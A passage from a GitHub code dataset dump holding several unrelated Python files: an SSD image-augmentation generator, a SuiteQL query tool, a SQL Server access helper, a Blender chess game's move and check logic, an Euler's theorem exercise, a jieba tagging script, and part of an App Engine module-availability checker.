元の長さより長くなったら、元の長さに切り取る\n        w = min(w, img_w)\n        h = min(h, img_w)\n        # 0-1の範囲に規格化した値\n        w_rel = w / img_w\n        h_rel = h / img_h\n        # ピクセル単位の値\n        w = int(w)\n        h = int(h)\n\n        # ↑で決めた縦横の幅ではみ出さないように、左上の座標を選ぶ\n        x = np.random.random() * (img_w - w)\n        y = np.random.random() * (img_h - h)\n        # 0-1の範囲に規格化した値\n        x_rel = x / img_w\n        y_rel = y / img_h\n        # ピクセル単位の値\n        x = int(x)\n        y = int(y)\n\n        # 画像を切り抜く\n        img = img[y:y + h, x:x + w]\n\n        # 正解ボックスを変形させる\n        new_boxes = []\n        for box in boxes:\n            cx = 0.5 * (box[0] + box[2])\n            cy = 0.5 * (box[1] + box[3])\n            if (x_rel < cx < x_rel + w_rel and\n                y_rel < cy < y_rel + h_rel):\n                # 正解ボックスの中心が切り抜き後も残っている\n                xmin = (box[0] - x_rel) / w_rel\n                ymin = (box[1] - y_rel) / h_rel\n                xmax = (box[2] - x_rel) / w_rel\n                ymax = (box[3] - y_rel) / h_rel\n                xmin = max(0, xmin)\n                ymin = max(0, ymin)\n                xmax = min(1, xmax)\n                ymax = min(1, ymax)\n                box[:4] = [xmin, ymin, xmax, ymax]\n                new_boxes.append(box)\n\n                # coord = (xmin*w, ymin*h), (xmax-xmin)*w, (ymax-ymin)*h\n                # colors = plt.cm.hsv(np.linspace(0, 1, 21)).tolist()\n                # plt.imshow(img / 255.)\n                # currentAxis = plt.gca()\n                # currentAxis.add_patch(plt.Rectangle(*coord, fill=False, edgecolor=colors[3], linewidth=8))\n                # plt.savefig(\"crop_sample.jpg\")\n                # plt.clf()\n            else:\n                # 正解ボックスの中心が無くなってしまったら変形しないで元のデータを返す\n                return original_img, original_boxes\n        new_boxes = np.asarray(new_boxes).reshape(-1, boxes.shape[1])\n\n        return img, new_boxes\n\n    def generate(self, train=True):\n        while True:\n            if train:\n                shuffle(self.train_file_paths)\n                file_paths = self.train_file_paths\n            else:\n                file_paths = self.val_file_paths\n            inputs = []\n            targets = []\n            for file_path in file_paths:\n                #file_name = os.path.join(os.path.basename(os.path.dirname(file_path)), os.path.basename(file_path))\n                file_name = os.path.basename(file_path)\n                boxes = self.boxes[file_name]\n                img, _, _ = load_img(file_path, target_size=input_shape)\n\n                if train:\n                    if self.blur_prob > 0:\n                        img = self.blur(img)\n\n                img = img_to_array(img)\n\n                if train:\n                    if self.zoom_prob > 0:\n                        temp_img = np.copy(img)\n                        temp_boxes = np.copy(boxes)\n                        img, boxes = self.random_zoom(temp_img, temp_boxes)\n                    if self.shift_prob > 0:\n                        temp_img = np.copy(img)\n                        temp_boxes = np.copy(boxes)\n                        img, boxes = self.random_shift(temp_img, temp_boxes)\n                    if self.crop_prob > 0:\n                        temp_img = np.copy(img)\n                        temp_boxes = np.copy(boxes)\n                        img, boxes = self.random_sized_crop(temp_img, temp_boxes)\n                img = imresize(img, self.image_size, interp='bicubic').astype('float32')\n\n                if train:\n                    shuffle(self.color_jitter)\n                    for jitter in self.color_jitter:\n                        img = jitter(img)\n                    if self.lighting_std:\n                        img = self.lighting(img)\n                    if self.hflip_prob > 0:\n                        img, boxes = self.horizontal_flip(img, boxes)\n\n                boxes = self.bbox_util.assign_boxes(boxes)\n                inputs.append(img)\n                targets.append(boxes)\n                if len(targets) == self.batch_size:\n                    tmp_inp = np.array(inputs)\n                    tmp_targets = np.array(targets)\n                    inputs = []\n                    targets = []\n                    yield preprocess_input(tmp_inp), tmp_targets\n","repo_name":"riron1206/01_SSD_module","sub_path":"SSD/dtc_generator.py","file_name":"dtc_generator.py","file_ext":"py","file_size_in_byte":13071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19001527201","text":"import requests\nfrom suiteql import suiteqlRequest, parseJsonResponse\nfrom config import API_URL, API_HEADERS\n\ndef displayResults(jsonResponse):\n    for result in jsonResponse:\n        print(result)\n\ndef runSuiteQLizer():\n    query = input(\"Enter your SuiteQL query: \")\n    response = suiteqlRequest(query, API_URL, API_HEADERS)\n    jsonResponse = response.json()\n    parsedJsonResponse = parseJsonResponse(jsonResponse)\n    displayResults(parsedJsonResponse)\n\nif __name__ == \"__main__\":\n    runSuiteQLizer()","repo_name":"juniorvish/SuiteQLizer","sub_path":"SuiteQLizer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"69921933690","text":"import pyodbc\nfrom pyodbc import connect as cnn\nimport os\nfrom app.site_settings import server\n\nPWD = os.environ.get('sql_path')\n# server = '62.181.56.179,41433'\nDemo_server = '10.0.0.7'\n# server = '127.0.0.1'\n\n\ndef active_server(demo=False):\n    if demo:\n        the_server = Demo_server\n    else:\n        the_server = server\n    return the_server\n\n\ndef cn_allDB(arg):\n    Server = arg.get(\"Server\")\n    Database = arg.get(\"Database\")\n    con = cnn('Driver={ODBC Driver 17 for SQL Server};'\n              f'Server={Server};'\n              f'Database={Database};'\n              'UID=anfan;'\n              f'PWD={PWD};')\n    return con\n\n\ndef cn(demo=False):\n    Server = server()\n    if demo:\n        Server = Demo_server\n        print(f\"from cn: {Server}\")\n    con = cnn('Driver={ODBC Driver 17 for SQL Server};'\n              f'Server={Server};'\n              'Database=fanfan;'\n              'UID=anfan;'\n              f'PWD={PWD};')\n    return con\n\n\ndef sql_allDB(arg, sql_arg):\n    con = arg\n    cursor = con.cursor()\n    # print(args)\n    cursor.execute(sql_arg)\n    result = cursor.fetchone()[0]\n    con.commit()\n    con.close()\n    return result\n\n\ndef sql_query(args):\n    con = cn()\n    cursor = con.cursor()\n    # print(args)\n    cursor.execute(args)\n    result = cursor.fetchone()[0]\n    con.commit()\n    con.close()\n    return result\n\n\ndef sql_tinkoff_info(args):\n    con = cn(True)\n    print(f'module data.py, sql_tinkoff_info cn(): {con}')\n    cursor = con.cursor()\n    # print(args)\n    cursor.execute(args)\n    result = cursor.fetchone()[0]\n    con.commit()\n    con.close()\n    return result\n\n\ndef sql_fetch_list(args):\n    con = cn()\n    cursor = con.cursor()\n    cursor.execute(args)\n    result = cursor.fetchall()\n    con.commit()\n    con.close()\n    result = list(result[0])\n    return result\n\n\ndef sql_list(args):\n    con = cn()\n    cursor = con.cursor()\n    result = [r[0] for r in cursor.execute(args)]\n    con.commit()\n    con.close()\n    print(pyodbc.version)\n    return result\n\n\ndef get_photos(event_id):\n    sql = f'select styles_photos from web.styles_photos_({event_id})'\n    print(sql)\n    photo = sql_query(sql).split(',')\n    return photo\n\n\nif __name__ == '__main__':\n    event_id = 1\n    # sql = 'set nocount on; insert tmp.jobs default values; select * from tmp.jobs'\n    # sql = f'select styles_photos from web.styles_photos_({event_id})'\n    # sql = \"select cust.customer_id('9167834248')\"\n    sql = \"select cust.customer_mail('9167834248')\"\n    print(sql)\n    res = sql_query(sql)\n    # photo = sql_fetch_list(sql)\n    print(res)\n","repo_name":"anfan1956/fanfan-weekend-2","sub_path":"app/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3191851175","text":"from random import random, randrange\nimport bge\nfrom collections import OrderedDict\nfrom mathutils import Vector\nfrom uteis import Ponto, XequeData\nfrom uteis import MovePecaEvent\nfrom uteis import print_array\n\nclass peca(bge.types.KX_PythonComponent):\n   \n    args =  OrderedDict([\n        ('tipoPeca', 0) \n        \n    ])\n\n    def start(self, args):\n        self.selected = False\n        self.casaTarget = None\n        self.isMove = False\n        self.moveEvent = None\n        \n        ## Armazena informação se essa peca ja foi jogada ou não\n        self.first = True\n        \n        self.tipoPeca = args['tipoPeca']\n        \n        self.ponto = self.getPonto()\n        \n        self.gc = bge.logic.getCurrentScene().objects['Quadro']\n        self.gc_cp = self.gc.components['GC']\n        pass\n    \n    def getPonto(self):\n        return Ponto(self.object['coluna']\n        , self.object['linha'])\n    \n    def __str__(self) -> str:\n        return self.object.name\n    def update(self):\n        \n        if self.selected and self.gc_cp.xequeData.isXeque:\n            data = self.gc_cp.xequeData\n\n            index = data.getIndex(self.object.name)\n            \n            if index != -1:\n                 \n                pontos = data.pecaMovimentos[index][1]\n                if len(self.gc_cp.casasMarcadas) != 0:\n                     self.gc_cp.desmarcarCasas()\n\n                for p in pontos:\n                    c = self.gc_cp.getCasa(p)\n                    \n                    if c['isPeca']: \n                        if c['jgPeca'] != self.object['jogador']:\n                            c.color = [0.78, 0, 0, 1]   \n                            c['marcado'] = True\n                            c['tipoMarca'] = 2\n                            self.gc_cp.casasMarcadas.append(c)\n                            \n                    else:\n                        c.color = [0, 0.78, 0.49, 1]\n                        c['marcado'] = True\n                        c['tipoMarca'] = 1\n                        self.gc_cp.casasMarcadas.append(c)\n                    \n                self.gc_cp.lastPecaSelected = self\n\n                self.selected  = False\n                    \n            pass\n\n        elif self.selected:\n            self.gc_cp.marcarCasa(self, self.ponto, self.object['jogador'], self.tipoPeca, self.first)\n            self.selected = False\n        \n        if self.isMove:\n            self.gc_cp.xequeData.limpar()\n            if self.moveEvent == None:\n                self.moveEvent = MovePecaEvent(self.object.localPosition, self.casaTarget.localPosition, self.object) \n                if self.casaTarget['tipoMarca'] == 2:\n                    self.gc_cp.eliminar_peca(self.casaTarget['namePeca'])\n\n            \n            if self.moveEvent.done():\n                self.isMove = False\n                self.moveEvent = None\n                \n               \n                c = self.gc_cp.getCasa(self.ponto)\n                \n                c['isPeca'] = False\n                c['namePeca'] = ''\n\n                self.casaTarget['isPeca'] = True\n                self.casaTarget['jgPeca'] = self.object['jogador']\n                self.casaTarget['namePeca'] = self.object.name\n                p = self.gc_cp.getPontoPorCasa(self.casaTarget.name)\n            \n                \n                self.object['coluna'] = p.x\n                self.object['linha'] = p.y\n                \n                self.ponto = self.getPonto()\n\n                if p.y == 7 and self.object['jogador'] == 1 and self.tipoPeca == 0:\n                    self.gc_cp.promocao(self)\n        \n                elif p.y == 0 and self.object['jogador'] == 0 and self.tipoPeca == 0:\n                    self.gc_cp.promocao(self)\n\n                self.first = False\n                \n                self.casaTarget = None\n                self.gc_cp.changeJogador()\n                self.gc_cp.wait = False\n                self.gc_cp.lastPecaSelected = None\n\n                self.gc_cp.checarXeque(self)\n        pass\n\n\nclass GC (bge.types.KX_PythonComponent):\n    \n    args = {'reiPreto': '', 'reiBranco': ''}\n    def start(self, args):\n        self.wait = False\n        self.jg_atual = 0\n        self.casasMarcadas = []\n        objs = bge.logic.getCurrentScene().objects\n        self.casas = []\n        self.lastPecaSelected = None\n        self.reiPreto = objs[args['reiPreto']]\n        self.reiBranco = objs[args['reiBranco']]\n        self.xequeData = XequeData()\n\n    \n        cols = 'ABCDEFGH'\n        \n       # self.painelPromocao = objs['PainelPromocao']\n\n        #self.changeVisiblePainel(False)\n        for i in range(1, 9):\n            c = []\n            \n            for x in range(8):\n                c.append(objs[str(cols[x] + str(i))])\n                \n            self.casas.append(c)\n        \n        #print(self.casas)\n        pass\n\n\n    #def changeVisiblePainel(self, state):\n     #   self.painelPromocao.setVisible(state)\n\n      #  for ch in self.painelPromocao.children:\n       #     ch.setVisible(state)\n        #    for c in ch.children:\n         #       c.setVisible(state)\n\n    def update(self):\n        pass\n\n    def checarXeque(self, peca):\n        rei = None\n        if peca.object['jogador'] == 0:\n            rei = self.reiPreto\n        else:\n            rei = self.reiBranco\n\n       \n        pontos = None \n        if peca.tipoPeca == 0:\n            dir = 1\n            if peca.object['jogador'] == 0:\n                 dir = -1\n\n            pontos = self.getPeao(peca.ponto, dir, peca.first)\n        elif peca.tipoPeca == 1:\n            pontos = self.getTorre(peca.ponto)\n        elif peca.tipoPeca == 2:\n            pontos = self.getCavalo(peca.ponto)\n        elif peca.tipoPeca == 3:\n            pontos = self.getBispo(peca.ponto)\n        \n        elif peca.tipoPeca == 4:\n            pontos = self.getBispo(peca.ponto)\n            pontos.extend(self.getTorre(peca.ponto))\n            \n        else:\n            pontos = self.getRei(peca.ponto)\n\n        isXeque = False\n        #Verificar se a peca jogada xekou o rei oponente\n        for p in pontos:\n           if p.igual(rei.components['peca'].ponto):\n               isXeque = True\n               break\n        \n        if isXeque:\n            \n            #marca o rei que foi xequado\n            self.xequeData.isXeque = True\n            c = self.getCasa(rei.components['peca'].ponto)\n            c.color = [0.62, 0.18, 0.73, 1]\n            self.casasMarcadas.append(c)\n\n            #pega os pontos onde o rei pode andar\n            pts = self.getRei(rei.components['peca'].ponto)\n            \n            index = 0\n            done = False\n\n            #tirando onde tem pecas amigas ou mesma equipa\n            while not done:\n                if not (index == len(pts)):\n                    c = self.getCasa(pts[index])\n\n                    if  c['isPeca'] and c['jgPeca'] == rei['jogador']:\n                        pts.remove(pts[index])\n                        index -= 1\n                    else:\n                        index += 1 \n                else:\n                    done = True\n         \n            #remove os perigos de andamento do rei\n            pts = self.removendoPerigos(pts, rei['jogador'])\n            \n            #mostrar os pontos onde rei pode andar\n            print(str(pts)) \n\n            ##testa se o rei pode comer\n            for pt in pts:\n                if pt.igual(peca.ponto):\n                    isXeque = isXeque and False\n                    self.xequeData.add((rei.name, [pt]))\n                    #print('Rei pode comer o oponente')\n                    break\n            \n            ##testa se o rei pode andar para fugir o xeque \n           \n\n            if len(pts) == 0:\n                print('Usuario nao pode mover-se')\n            else:\n                #print(pts)\n\n                self.xequeData.add((rei.name, pts))\n                isXeque = isXeque and False\n               # isXeque = True\n            \n\n            #Pecas disponiveis do rei atacado\n            jgs =  self.getJogadorEquipa(rei['jogador'])\n\n           # print_array(jgs)\n\n            #verifica se alguma peca pode eliminar o atacante\n            for jg in jgs:\n                pontos = None\n                if jg.tipoPeca == 0:\n                    dir = 1\n                    if rei['jogador'] == 0:\n                        dir = -1\n\n                    pontos = self.getPeao(jg.ponto, dir, jg.first)\n         \n                        \n                elif jg.tipoPeca == 1:\n                    pontos = self.getTorre(jg.ponto)\n                elif jg.tipoPeca == 2:\n                    pontos = self.getCavalo(jg.ponto)\n                elif jg.tipoPeca == 3:\n                    pontos = self.getBispo(jg.ponto)\n                \n                elif jg.tipoPeca == 4:\n                    pontos = self.getBispo(jg.ponto)\n                    pontos.extend(self.getTorre(peca.ponto))\n\n                else:\n                    continue\n                \n                for pt in pontos:\n                    if peca.ponto.igual(pt):\n                        self.xequeData.add((jg.object.name, [pt]))\n                        isXeque = isXeque and False\n                      #  print('Uma peca pode eliminar!')\n                        break\n            \n\n            ## Calculo da interpolacao\n\n            if peca.tipoPeca == 1 or peca.tipoPeca == 3 or peca.tipoPeca == 4:\n\n                #print('hello')\n                pontosInter = []\n                pontoRei = rei.components['peca'].ponto\n                \n                #analisa qual tipo de movimentação a peca fez\n                if peca.ponto.x == pontoRei.x or peca.ponto.y == pontoRei.y:\n\n                    #torre\n                    #print('torre')\n                    if  peca.ponto.x != pontoRei.x:\n                        dirX = -1\n                        if pontoRei.x > peca.ponto.x:\n                            dirX = 1\n                            \n                        done = False\n                        x = peca.ponto.x + dirX\n                        y = peca.ponto.y\n\n                        while not done:\n                            if pontoRei.x == x:\n                                done = True   \n                            else:\n                                pontosInter.append(Ponto(x, y))\n                                print(f'({x}, {y})')\n                                \n                            x += dirX\n\n                    else:\n                       \n                        dirY = -1\n\n                        if pontoRei.y > peca.ponto.y:\n                            dirY = 1\n\n                        done = False \n                        x = peca.ponto.x \n                        y = peca.ponto.y + dirY\n\n                        while not done:\n                            if pontoRei.y == y:\n                                done = True   \n                            else:\n                                pontosInter.append(Ponto(x, y))\n                                print(f'({x}, {y})')\n                                \n                            y += dirY   \n\n                           \n                    pass\n                else:\n                    #bispo\n                    print('bispo')\n                    dirX = -1\n                    if pontoRei.x > peca.ponto.x:\n                        dirX = 1 \n\n                    dirY = -1\n\n                    if pontoRei.y > peca.ponto.y:\n                        dirY = 1\n                    \n                    done = False\n                    x = peca.ponto.x + dirX\n                    y = peca.ponto.y + dirY\n\n                    while not done:\n                        if pontoRei.x == x and pontoRei.y == y:\n                            done = True   \n                        else:\n                            pontosInter.append(Ponto(x, y))\n                            print(f'({x}, {y})')\n                        \n                        x += dirX\n                        y += dirY\n\n                #print_array(pontosInter)\n                if  len(pontosInter) != 0:\n                  #  print_array(pontosInter)\n            \n                    for jg in jgs:\n                        pontos = None\n                        if jg.tipoPeca == 0:\n                            dir = 1\n                            if rei['jogador'] == 0:\n                                dir = -1\n\n                            pontos = self.getPeao(jg.ponto, dir, jg.first)\n                        elif jg.tipoPeca == 1:\n                            pontos = self.getTorre(jg.ponto)\n                        elif jg.tipoPeca == 2:\n                            pontos = self.getCavalo(jg.ponto)\n                        elif jg.tipoPeca == 3:\n                            pontos = self.getBispo(jg.ponto)\n                        \n                        elif peca.tipoPeca == 4:\n                            pontos = self.getBispo(jg.ponto)\n                            pontos.extend(self.getTorre(jg.ponto))\n                        \n                        else:\n                            continue\n\n                        for ptIn in pontosInter:\n                            for pt in pontos:\n                                if ptIn.igual(pt):\n                                    self.xequeData.add((jg.object.name, [ptIn]))\n            \n                                    isXeque = isXeque and False\n                                    break\n            #print('Checado!')\n            \n            if isXeque:\n                self.xequeData.isDone = True\n                print('Xeque-Mate')\n            else:\n                print('Saiu do xeque!')\n            \n        else:\n           # print('Não checado!')\n           pass\n        pass\n    \n    \n    def removendoPerigos(self, pontos, jg):\n        oposto = 0\n        if jg == 0:\n            oposto = 1\n\n        opostos = self.getJogadorEquipa(oposto)\n\n        novoPontos = pontos\n\n        for op in opostos:\n            \n            pontos = novoPontos.copy()\n\n            if len (novoPontos) == 0:\n                break\n\n            pts = None\n            if op.tipoPeca == 0:\n                dir = 1\n                if op.object['jogador'] == 0:\n                    dir = -1\n\n                pts = self.getPeao(op.ponto, dir, op.first)\n            elif op.tipoPeca == 1:\n                pts = self.getTorre(op.ponto)\n            elif op.tipoPeca == 2:\n                pts = self.getCavalo(op.ponto)\n            elif op.tipoPeca == 3:\n                pts = self.getBispo(op.ponto)\n            elif op.tipoPeca == 4:\n                pts = self.getBispo(op.ponto)\n                pts.extend(self.getTorre(op.ponto))\n            else:\n                pts = self.getRei(op.ponto)\n            \n            for p in pontos:\n                for pt in pts:\n                    if p.igual(pt):\n                        novoPontos.remove(pt)\n                        break\n        \n        if len(novoPontos) == 0:\n            return []\n        return novoPontos\n\n    \n    def getJogadorEquipa(self, jg):\n    \n        jgs = []\n        for l in self.casas:\n            for c in l:\n                if c['isPeca'] and c['jgPeca'] == jg:\n                    obj = bge.logic.getCurrentScene().objects[c['namePeca']]\n                    if obj.components['peca'].tipoPeca != 5: \n                        jgs.append(obj.components['peca'])\n\n        return jgs\n\n\n\n    from random import randrange\n    def promocao(self, peca):\n        self.wait = True\n       # self.changeVisiblePainel(True)\n        self.lastPecaSelected = peca\n\n        self.PromocaoSelecionada(randrange(1, 5, 1))\n\n    def PromocaoSelecionada(self, id):\n        self.lastPecaSelected.tipoPeca = id \n\n        obj = self.lastPecaSelected.object.children[0]\n\n        if id == 1:\n            obj.replaceMesh('Torre')\n        elif id == 2:\n            obj.replaceMesh('Cavalo')\n        elif id == 3:\n            obj.replaceMesh('Bispo')\n        elif id == 4:\n             obj.replaceMesh('Rainha')\n        \n        #self.changeVisiblePainel(False)\n\n        self.wait = False\n        pass\n\n    def eliminar_peca(self, name):\n      \n        bge.logic.getCurrentScene().objects[name].endObject()\n    \n    def changeJogador(self):\n        if self.jg_atual == 0:\n            self.jg_atual = 1\n        else:\n            self.jg_atual  = 0\n    \n    def getPontoPorCasa(self, nameCasa):\n        x = 0\n        y = 0\n        p = None\n      #  print(nameCasa)\n        for l in self.casas:\n            x = 0\n            for c in l:\n                if c.name == nameCasa:\n                    p = Ponto(x, y)\n                    break\n                x += 1\n            y += 1\n         \n        return p\n    \n    def marcarCasa(self, pecaComponent, ponto, jg, peca, first):\n        \n        if len(self.casasMarcadas) != 0:\n            self.desmarcarCasas()\n        \n        casaPeca = self.getCasa(ponto)\n     \n        casaPeca.color = [0.03, 0.87, 1, 1]\n        casaPeca['marcado'] = True\n        casaPeca['tipoMarca'] = 0\n        self.casasMarcadas.append(casaPeca)\n        dir = 1\n        if jg == 0:\n            dir = -1\n            \n        pontos = None\n        \n        if peca == 0:\n            pontos = self.getPeao(ponto, dir, first)\n        elif peca == 1:\n            pontos = self.getTorre(ponto)\n        elif peca == 2:\n            pontos = self.getCavalo(ponto)\n        elif peca == 3:\n            pontos = self.getBispo(ponto)\n        \n        elif peca == 4:\n            pontos = self.getBispo(ponto)\n            pontos.extend(self.getTorre(ponto))\n            \n        elif peca == 5:\n            pontos = self.getRei(ponto)\n            pontos = self.removendoPerigos(pontos, pecaComponent.object['jogador'])\n         \n        \n        \n        for p in pontos:\n            c = self.getCasa(p)\n            \n            if c['isPeca']: \n                if c['jgPeca'] != jg:\n                    c.color = [0.78, 0, 0, 1]   \n                    c['marcado'] = True\n                    c['tipoMarca'] = 2\n                    self.casasMarcadas.append(c)\n                    \n            else:\n                c.color = [0, 0.78, 0.49, 1]\n                c['marcado'] = True\n                c['tipoMarca'] = 1\n                self.casasMarcadas.append(c)\n            \n        self.lastPecaSelected = pecaComponent\n        pass\n    \n    \n    def moverPeca(self, toCasa):\n        self.wait = True\n        self.lastPecaSelected.isMove =True\n        self.lastPecaSelected.casaTarget = toCasa\n        self.desmarcarCasas()\n        pass\n        \n    def desmarcarCasas(self):\n        \n        for cm in self.casasMarcadas:\n            if cm['normalColor'] == 'black':\n                cm.color = [0, 0, 0, 1]\n            else:\n                cm.color = [1, 1, 1, 1]\n            \n            cm['marcado'] = False\n        \n    \n    def getCasa(self, ponto):\n        return self.casas[ponto.y][ponto.x]\n    \n    def getPeao(self, ponto, dir, first):\n        ls_pontos = []\n        \n        qtd_casa = 2\n        if not first:\n            qtd_casa = 1\n        \n        for y in range(1, qtd_casa+1):\n            if self.casas[ponto.y + (y * dir)][ponto.x]['isPeca']:\n                break\n            ls_pontos.append(Ponto(ponto.x, ponto.y + (y * dir)))\n        \n        if self.isLimite(ponto.y + dir) and self.isLimite(ponto.x + 1):\n            if self.casas[ponto.y + dir][ponto.x + 1]['isPeca']:\n                ls_pontos.append(Ponto(ponto.x + 1, ponto.y + dir))\n                \n        if self.isLimite(ponto.y + dir) and self.isLimite(ponto.x - 1):\n            if self.casas[ponto.y + dir][ponto.x - 1]['isPeca']:\n                ls_pontos.append(Ponto(ponto.x - 1, ponto.y + dir))\n        \n        return ls_pontos\n    \n    def getTorre(self, ponto):\n        ls_pontos = []\n        \n        for x in range(ponto.x + 1, 8):\n            ls_pontos.append(Ponto(x, ponto.y))\n            if self.casas[ponto.y][x]['isPeca']:\n                break\n            \n        for x in range(ponto.x - 1, -1, -1):\n            ls_pontos.append(Ponto(x, ponto.y))\n            if self.casas[ponto.y][x]['isPeca']:\n                break\n            \n        for y in range(ponto.y + 1, 8):\n            ls_pontos.append(Ponto(ponto.x, y))\n            if self.casas[y][ponto.x]['isPeca']:\n                break\n        \n        for y in range(ponto.y - 1, -1, -1):\n            ls_pontos.append(Ponto(ponto.x, y))\n            if self.casas[y][ponto.x]['isPeca']:\n                break\n        \n        return ls_pontos\n    \n    def getCavalo(self, ponto):\n        ls_pontos = []\n        \n        lines = [ponto.y - 2, ponto.y + 2]\n        cols = [ponto.x - 2, ponto.x + 2]\n        \n        for l in lines:\n            if not self.isLimite(l):\n                continue\n            \n            if self.isLimite(ponto.x-1):\n                ls_pontos.append(Ponto(ponto.x -1, l))\n            \n            if self.isLimite(ponto.x + 1):\n                ls_pontos.append(Ponto(ponto.x + 1, l))\n        \n        for c in cols:\n            if not self.isLimite(c):\n                continue\n            \n            if self.isLimite(ponto.y - 1):\n                ls_pontos.append(Ponto(c, ponto.y - 1))\n            \n            if self.isLimite(ponto.y + 1):\n                ls_pontos.append(Ponto(c, ponto.y + 1))\n        \n        return ls_pontos\n\n    \n    def getBispo(self, ponto):\n        ls_pontos = []\n        \n        #armazena as direções diagonais que o bispo se move\n        dirs = [[1, 1], [-1, 1], [1, -1], [-1, -1]] \n        \n        for dir in dirs:\n            \n            done = False\n            x = 1\n            y = 1\n            \n            while not done:\n                if self.isLimite(ponto.x + (dir[0] * x)) and self.isLimite(ponto.y + (dir[1] * y)):\n                        ls_pontos.append(Ponto(ponto.x + (dir[0] * x), ponto.y + (dir[1] * y)))\n                        if self.casas[ponto.y + (dir[1] * y)][ponto.x + (dir[0] * x)]['isPeca']:\n                            done = True\n                        else:\n                            x += 1\n                            y += 1\n                else:\n                    done = True    \n        \n        return ls_pontos    \n    \n    def getRei(self, ponto):\n        ls_pontos = []\n        \n        cols = [ponto.x - 1, ponto.x + 1]\n        \n        for col in cols:\n            \n            for l in range(ponto.y - 1, ponto.y + 2):\n                if not self.isLimite(l):\n                    continue\n                ls_pontos.append(Ponto(col, l))\n                \n        if self.isLimite(ponto.y - 1):\n            ls_pontos.append(Ponto(ponto.x, ponto.y - 1))\n        \n        if self.isLimite(ponto.y + 1):\n            ls_pontos.append(Ponto(ponto.x, ponto.y + 1))\n        \n        return ls_pontos\n                \n    def isLimite(self, valor):\n        return valor <= 7 and valor >= 0\npass","repo_name":"sukuasoft/xadrez-scripts","sub_path":"componentes.py","file_name":"componentes.py","file_ext":"py","file_size_in_byte":22804,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9223823673","text":"\"\"\"\nPractical 9\nWrite a program to verify\nii) Eulers's Theorem\n\"\"\"\n\nimport math\nimport time\nimport decimal\n\ndef gcd(a,b):\n    if(b==0):\n        return a\n    else:\n        return gcd(b,a%b)\n\ndef phi(n):\n    count = 0\n    for i in range(0,n):\n        if(gcd(i,n)==1):\n            count = count + 1\n    return count\n\ndef euler(a,n,p):\n    lhs = float(math.pow(a,p))\n    rhs = float(lhs%n)\n    return lhs,rhs\n\naValue = int(input(\"Enter value for a: \"))\nbValue = int(input(\"Enter value for n: \"))\n\nstart = time.time()\n\nphi = phi(bValue)\n\n\ne,f = euler(aValue,bValue,phi)\nde = '%.2E'% decimal.Decimal(e)\nprint(\"a^phi(n)=1(mod n) i.e {} = {}\".format(de,f))\n\nend = time.time()\nprint(\"Running time = {}\".format(end - start))\n\n\"\"\"\nOutput\nEnter value for a: 10\nEnter value for n: 11\na^phi(n)=1(mod n) i.e 1.00E+10 = 1.0\nRunning time = 0.000361204147339\n\"\"\"\n","repo_name":"bhupendpatil/Practice","sub_path":"Python/9eulers.py","file_name":"9eulers.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"32524714029","text":"#!/usr/bin python\n# -*- coding:utf-8 -*-\n\nimport jieba\nimport pandas as pd\nimport random\n\njieba.load_userdict('./usrdic.txt')\ntag_dic = {'地址':'t_addr','押金':'t_mony','空调':'t_airc','钥匙':'t_key'}\ntag_word_list = ['地址','押金','空调','钥匙']\n\ndef readListfromTxt(filePath):\n    resultList = []\n    fr = open(filePath, 'r', encoding='utf-8')\n    while True:\n        line = fr.readline()\n        if line:\n            line = line.strip()\n            if line:\n                resultList.append(line)\n        else:\n            break\n    fr.close()\n    return resultList\n\ndef writeList2csv(filePath,infoList):\n    fw = open(filePath,'w',encoding='utf-8')\n    for itemList in infoList:\n        line = ''\n        if isinstance(itemList,list):\n            line = ','.join(itemList)\n        if isinstance(itemList,str):\n            line = itemList\n        if line:\n            fw.write(line + '\\n')\n    fw.close()\n\nif __name__ == '__main__':\n    lines = readListfromTxt('./seed_sentence.txt')\n    random.shuffle(lines)\n\n    out_list = []\n\n    for line in lines:\n        item_tag_list = []\n        line = str(line)\n        cut_words = list(jieba.cut(line))\n\n        for word in cut_words:\n            w_and_t = ''\n            if word in tag_word_list:\n                w_and_t = word + '  ' + tag_dic[word]\n            else:\n                w_and_t = word + '  ' + 'O'\n            if w_and_t:\n                item_tag_list.append(w_and_t)\n\n        item_line = '\\n'.join(item_tag_list)+'\\n'\n        out_list.append(item_line)\n\n    writeList2csv('./data.txt',out_list)\n\n\n","repo_name":"michaelwangtd/mayiPlayground","sub_path":"outword/label/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71560308088","text":"import sys\nimport os\nfrom os import path\nfrom tempfile import mkdtemp\nfrom subprocess import Popen, PIPE\nfrom urllib import urlopen\nfrom shutil import rmtree\nfrom signal import SIGKILL\n\nPORT = 15111 # arbitrary, probably no conflicts\n\ndef main():\n    modules, failed = import_modules(PYTHON_2_5_MODULES)\n    sys.stderr.write(\"\\n\".join((\"Not found locally: %s\" % name for name in failed)) + \"\\n\")\n    sys.stdout.write(fetch(modules))\n\ndef fetch(modules):\n    \"\"\" Start an appengine development server locally and return the result\n    it prints: a string containing one name per line, representing modules,\n    functions, fields, and classes that cannot be imported on GAE. \"\"\"\n    \n    appdir = makeapp(modules)\n    try:\n        server_proc = runserver(PORT, appdir)\n        try:\n            output = urlopen('http://localhost:%d/' % PORT).read()\n            return output\n        finally:\n            os.kill(server_proc.pid, SIGKILL)\n    finally:\n        rmtree(appdir)\n\ndef import_modules(module_names):\n    \"\"\" Import a list of modules by name, returning two lists: one containing\n    references to imported modules, and the other containing names of modules\n    that could not be imported. \"\"\"\n    \n    modules = []\n    failed = []\n    for name in module_names:\n        try:\n            __import__(name)\n            modules.append(sys.modules[name])\n        except ImportError:\n            failed.append(name)\n    return modules, failed\n\ndef makeapp(modules):\n    \"\"\" Create a temporary directory, place within it an app.py and app.yaml\n    constituting a GAE application, and return the path to the directory. \"\"\"\n    \n    appdir = mkdtemp()\n    open(path.join(appdir, 